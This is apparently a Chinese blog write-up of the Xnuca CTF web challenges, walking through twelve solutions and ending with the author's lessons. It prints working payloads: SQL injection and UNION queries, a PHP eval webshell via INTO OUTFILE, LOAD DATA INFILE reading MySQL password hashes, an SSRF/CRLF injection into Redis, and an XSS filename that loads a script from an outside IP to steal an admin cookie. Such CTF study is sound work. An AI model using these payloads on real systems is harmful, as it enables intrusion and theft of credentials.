Xnuca

write-up

说来很尴尬,这个CTF自己并没有做出来多少。
只不过是写出来自己总结一下经验

放一个详细的write-up
合天官方write-up

Q1 BaseCoding

这个题自己解出来了,很简单的一个编码题

  • 题目:
    BaseCoding

  • write-up:
    访问页面,得到了base64编码的flag信息,base64解码即可

Q2 BaseInjection

这个也比较容易,是一个SQL注入的问题,两个框都用' or '1'='1 来试一下

  • 题目:
    BaseInjection

  • write-up:
    对两个输入框分别尝试万能的' or '1'='1 ,在尝试密码框的时候成功了。

Q3 BaseReconstruction

info: 看似和上题一样,其实不然

  • 题目:
    BaseReconstruction

  • write-up:
    本地JS做了过滤,所以抓包(fiddler, burpsuite)来修改请求为' or '1'='1

Q4 CountingStars

这个题对我来说好坑,只怪自己不够猥琐,没有多方面考虑
info: no more $s, counting stars

  • 题目:
    CountingStars

  • write-up:
    先吐槽一句,这个脑洞太大,也怪自己不够猥琐,还得学习呀。 其实并不是解密题。

    1. .DS_Store文件信息泄露,下载分析得到一个压缩包
    2. 解压为index.php的源码
    3. 重定向到index.php之前查看抓到的包,可以看到flag

Q5 Invisible

这个也解出来了,简单的修改头部变量

  • 题目:
    Invisible

  • write-up:

    1. 查看源代码,发现index.php.bak
    2. base64解码
    3. 考查点为HTTP请求头中关于IP的问题
    4. 直接添加头部,或者用其他的方法隐藏IP

Q6 Normal_normal

info: 又是一个bbs,然而并没有做出来

  • 题目:
    Normal_normal

  • write-up:

    1. 根据网站的风格以及CSS文件的注释,CMS是phpwind,而不是phpbbb(真心不知道..)
    2. 发现zhangrendao的邮箱信息,公开的社工库查询到邮箱密码
    3. 进入admin.php管理后台
    4. 在自定义HTML中可以插入php代码
    5. 调用模块,即可获得flag

Q7 NDBexplorer

提到就想跪,就是这个,刚刚看到db.php.swp的文件,接着服务器就被日穿了….

  • 题目:
    NDBexplorer

  • write-up:

    1. 站点.db.php.swp泄露了mysql配置信息,但是ctfdb用户的权限不足,无法用
      select'<?php@eval($_POST[-77]);?>'INTO OUTFILE '/var/www/html/errors.php'
    2. 而flag存在另外一个flag数据库,.db.php.swp可看到phpMyAdmin;
    3. 正确思路是使用ctfdb用户通过phpMyAdmin连接数据库,查看数据库数据存放路径:SELECT @@datadir
    4. 创建一张表,然后使用load data infile,加载mysql下的用户口令文件user.MYD到这张表中,命令如下:
      loaddata infile "/var/lib/mysql/mysql/user.MYD" into TABLE test.q fields terminated by '' LINES TERMINATED BY '\0';
    5. 然后查看导进去的内容,得到root、ctfdb、topsec、top用户的密码哈希值sha1;
    6. 其中root不大可能跑出来,但topsec这个用户的密码可以跑出来topsec123456;
    7. 最后用跑出来的用户名密码连接数据库,最后翻出flag。

Q8 RotatePicture

这个题看过了,但是没有解出来… ORZ

  • 题目:
    RotatePicture

  • write-up:

    1. 根据网站的功能,推断后端脚本使用了urlopen等类似函数进行了网络请求。
    2. urlopen支持file schema,因此可以输入file://localhost/filename形式的参数进行本地文件读取,尝试输入file://localhost/etc/hosts,可显示该文件部分信息。
    3. 根据html注释的提示,输入file://localhost/home/www/ctf/app/views.py,获得下一步提示,网站存在另外一个页面/getredisvalue
    4. 新页面需要输入key并从redis中读出对应的value,如果存在则返回flag。
    5. 结合redis和第一个页面的urlopen,想到使用urlopen的缺陷进行header攻击。返回前一个页面,输入http://127.0.0.1%0d%0aSET%20d4c5428c-f43c-4bae-9269-493e9cc593d6%20bar%0d%0aSAVE%0d%0a:6379/foo,此时会在redis中写入相应键值。
      回到第二个页面,输入key:d4c5428c-f43c-4bae-9269-493e9cc593d6可以获得flag

Q9 AdminLogin

这个看到了…当时毫无思路

  • 题目:
    AdminLogin

  • write-up:

    1. 直接打开news.php显示”where r u come from?”,从index.php的链接跳转到news.php可显示rules;
    2. news.php可进行sql注入,但是需要在header中添加Referer=http://xxx/index.php (包含index.php即可);
    3. 注入获取用户名ctfadmin及密码a2224f1bf263d26bab1994723f7565a3,爆破md5,最终结果为administrat0r;
    4. 接下来找登录地址,正确思路是根目录有robots.txt(防止蜘蛛文件),可发现后台路径/xnucactfwebadmin/;
    5. 然后有.svn文件泄露,可在xnucactfwebadmin根目录找着.svn/entries,从而发现与后台登录地址/welcometoctfloginxxx.php;
    6. 要求X-Forwarded-For设置为8.8.8.8才能登录成功;
    7. 登录校验页面logincheck.php登录成功后输出echo "<script>alert('Successful login,Congratulations..');window.location.href='index.php';</script>";
    8. flag以<!-- <imgsrc="data:image/png;base64,iVBORw0KGgo=..." /> -->形式写在logincheck.php;
    9. 想办法阻止window.location.href=’index.php’,最简单办法是调整IE安全级别;
    10. 在welcometoctfloginxxx.php页面找到一个img,图片为base64编码,还原图片获得flag{xxxxxx}。

Q10 WeirdCamel

同样的一脸懵逼…
info: 欢迎报名夏令营,请您仔细阅读公告,之后我们将会审核您的报名信息。

  • 题目:
    WeirdCamel

  • write-up:

    1. 初始页面为活动报名页面,需要填写“姓名”,“电话”,“邮箱”进行报名
    2. 页面会将信息以POST方式发送到/cgi-bin/register.pl,参数为:
      name=alice&phone=123456&email=123@123.com
      页面注释提示文件/file/statement.txt,访问后得到公告的文本信息
    3. 后台处理流程为:
      Perl CGI接受参数组成hash:

      1
      2
      3
      4
      5
      6
      %info={“STATEMENT” =>”../file/statement.txt”,
      "NAME"=> $input->param('name'),
      "PHONE" =>$input->param('phone'),
      "EMAIL" => $input->param('email'),
      };

      之后将信息返回到页面中

    4. 返回信息中含有“STATEMENT”,与第二步中文件内容一致,猜到可能会有文件包含
      在页面中以类似HASH的形式给出,提示答题者内容存放在HASH变量中
    5. 利用Perl变量特性改造参数为:
      name=alice&name=STATEMENT&name=../cgi-bin/register.pl
      此时name参数被定义为数组,HASH中值为数组时会改变结构,如:

      1
      2
      3
      4
      5
      6
      %info={“STATEMENT” =>”../file/statement.txt”,
      "NAME" => ("alice","STATEMENT",,"../cgi-bin/register.pl"),
      "PHONE" =>$input->param('phone'),
      "EMAIL" => $input->param('email'),
      };

      实际上为:

      1
      2
      3
      4
      5
      6
      7
      %info={“STATEMENT” =>”../file/statement.txt”,
      "NAME" => "alice",
      "STATEMENT" =>"../cgi-bin/register.pl",
      "PHONE" =>$input->param('phone'),
      "EMAIL" => $input->param('email'),
      };

      “STATEMENT”被覆盖,从而能够读取register.pl的源码

    6. 源码中注释看到另一个页面xnuca_looktheregisternews.pl?id=1,访问后显示一条新闻,想到注入

    7. PerlCGI会对单引号自动转义为\’,因此需要寻找突破口
    8. 当参数为id=1&id=2时,转义就会失效,可以进行手工注入
    9. 猜测当前表为news,注入查看列个数
      /cgi-bin/xnuca_looktheregisternews.pl?id=1and 1=2 union select 1,2,3(试到3时出现结果,因此有三列) from news&id=2
    10. 注入查看数据库,发现存在xnuca_flag_db数据库
      /cgi-bin/xnuca_looktheregisternews.pl?id=1and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA&id=2
    11. 注入查看表,发现存在xnuca_flag_tab
      /cgi-bin/xnuca_looktheregisternews.pl?id=1%20and%201=2%20union%20select%201,table_name,table_schema%20from%20information_schema.tables&id=2
    12. 注入查看列,发现只有一列flag
      /cgi-bin/xnuca_looktheregisternews.pl?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,TABLE_NAME%20from%20information_schema.COLUMNS&id=2
    13. 注入得到flag{xxxxxx}
      id=1 and 1=2 union select 1,2,flag from xnuca_flag_db.xnuca_flag_tab&id=2

Q11 OneWayIn

这个没见过,后边的也没有见

  • 题目:
    OneWayIn

  • write-up:

    1. index.php登录页面泄露部分源码;
    2. 想办法绕过crc32($_POST['0_username']) ===crc32($_POST['0_pwd'])
    3. php的crc32函数在处理数组时直接返回null,可提交:
      0_username[]=111&0_pwd[]=222&submit=Submit
    4. 登录后地址后被重定向,得到一堆字符,字符无用;
    5. 重定向之后的url为http://IP/flag_manager/index.php?file=dGVzdC50eHQ=&num=
    6. file=dGVzdC50eHQ=解码后得到file=test.txt,猜测存在文件包含漏洞;
    7. 更改参数file的值为index.php的base64编码,得到空白页面;
    8. 更改num参数为1后得到一行代码,同理,得到index.php的全部18行代码;
    9. 发现页面读取flag,php,但需要cookie为role_cookie=flagadmin
    10. 将5中的参数file值修改为flag.php的base64编码,并在请求中添加cookie,根据8得到flag.php的源码;
    11. flag.php源码被加密,本地搭建环境执行得到提示
      ADwAcwBjAHIAaQBwAHQAPgBmAGwAYQBnAHsATAB6AFUAVgB6AEQATwBvAHgAeQBlAG4AYwA4AHAAagBUADkAdwBlAG8AUgB1AE4ATgBJAE8ATQA0AGIAUQAyAH0APAAvAHMAYwByAGkAcAB0AD4
    12. 通过ADwAcw识别为utf-7编码,界面得到flag为:
      <script>flag{LzUVzDOoxyenc8pjT9weoRuNNIOM4bQ2}</script>

Q12 HelloBoss

没见过

  • 题目:
    HelloBoss

  • write-up:

    1. 访问题目地址得到系统登录页面,发现用户名和MD5运算后的密码被POST到login.php
    2. 直接访问login.php提示登录失败,尝试文件名后加“~”发现源码泄露login.php~。但login.php~并非源码,仅给答题者提示:用户名为editor,密码MD5开头为0e
    3. 此时将POST请求进行改包,将密码改为数字0,即可绕过后端验证。原理是PHP认为0==”以0e开头后边全为数字”(科学计数法)
    4. 登录成功后页面从manage.php重定向到upload.php,可以上传文件,但只允许上传doc文件。上传成功后会提示管理员会定期查看,想到利用文件名xss。此时cookie为role= 6704940cdd9b9d906229c2510400fb77,想到获取管理员的cookie
    5. 构造xss文件名,但windows下对文件名限制较严格,且windows和linux下文件名中都无法使用“/”,对xss的payload构造增加了难度。
      一个可执行的测试payload为(答题者需在linux下,并使用firefox):
      <img src=x onerror=alert('123')>.doc
      一个可执行的最终Payload为(答题者需在linux下,并使用firefox):
      <img src=x onerror="javascript:var xx=String.fromCharCode(47);document.body.appendChild(document.createElement('script')).id='tt';tt.src='http:'+xx+xx+'192.168.164.132'+xx+'cook.js';">.doc
      其中,192.168.164.132为答题者xss接收cooke的管理平台地址

    6. 最终得到管理员的cookie为:
      xt=urn:btih:1207054EE7FBB53FF0708BDE6A7934B7E5095CC9
      根据cookie格式可想到此为magnet链接,完整为:
      magnet:?xt=urn:btih:1207054EE7FBB53FF0708BDE6A7934B7E5095CC9,但无法下载
      想到将链接转化成种子。网站http://www.torrent.org.cn/可以将磁力链转换成种子
      转换为.torrent文件后,使用下载工具打开可发现文件名为flag

反思

  1. 1个base64的题,不算是什么难度,base64的特征比较明显,包含+ =
  2. 包含多个sql注入, 其中一个无过滤,一个本地过滤,还有几个考了information_schema表的内容,这一块也不太熟,需要再google一下,还有load data infile ** intoselect * from user into outfile "xx\xxx" fields terminated by ',' lines terminated by '\n'读写文件操作,还可以用hex来绕过一些过滤
  3. 还有的是备份文件包括 .DS_Store, xxx.php.swp, xxx.php~, .svn/entries, .git/
  4. urlopen 类似的网络请求函数,也支持file:// 这种本地协议,估计也支持ftp协议等
  5. php 的 0e123 的比较,具体来说,就是弱类型的比较,如 array在和string做strcmp()比较时,会返回null,%00 是截断
  6. pl 的格式
  7. sql防护的绕过,如id=1&id=2, 参数污染
  8. radis的简单应用

需要学习的地方

  1. radis的增删改查
  2. 开脑洞
  3. 永远需要学习
文章目录
  1. 1. write-up
    1. 1.1. Q1 BaseCoding
    2. 1.2. Q2 BaseInjection
    3. 1.3. Q3 BaseReconstruction
    4. 1.4. Q4 CountingStars
    5. 1.5. Q5 Invisible
    6. 1.6. Q6 Normal_normal
    7. 1.7. Q7 NDBexplorer
    8. 1.8. Q8 RotatePicture
    9. 1.9. Q9 AdminLogin
    10. 1.10. Q10 WeirdCamel
    11. 1.11. Q11 OneWayIn
    12. 1.12. Q12 HelloBoss
  2. 2. 反思
  3. 3. 需要学习的地方
|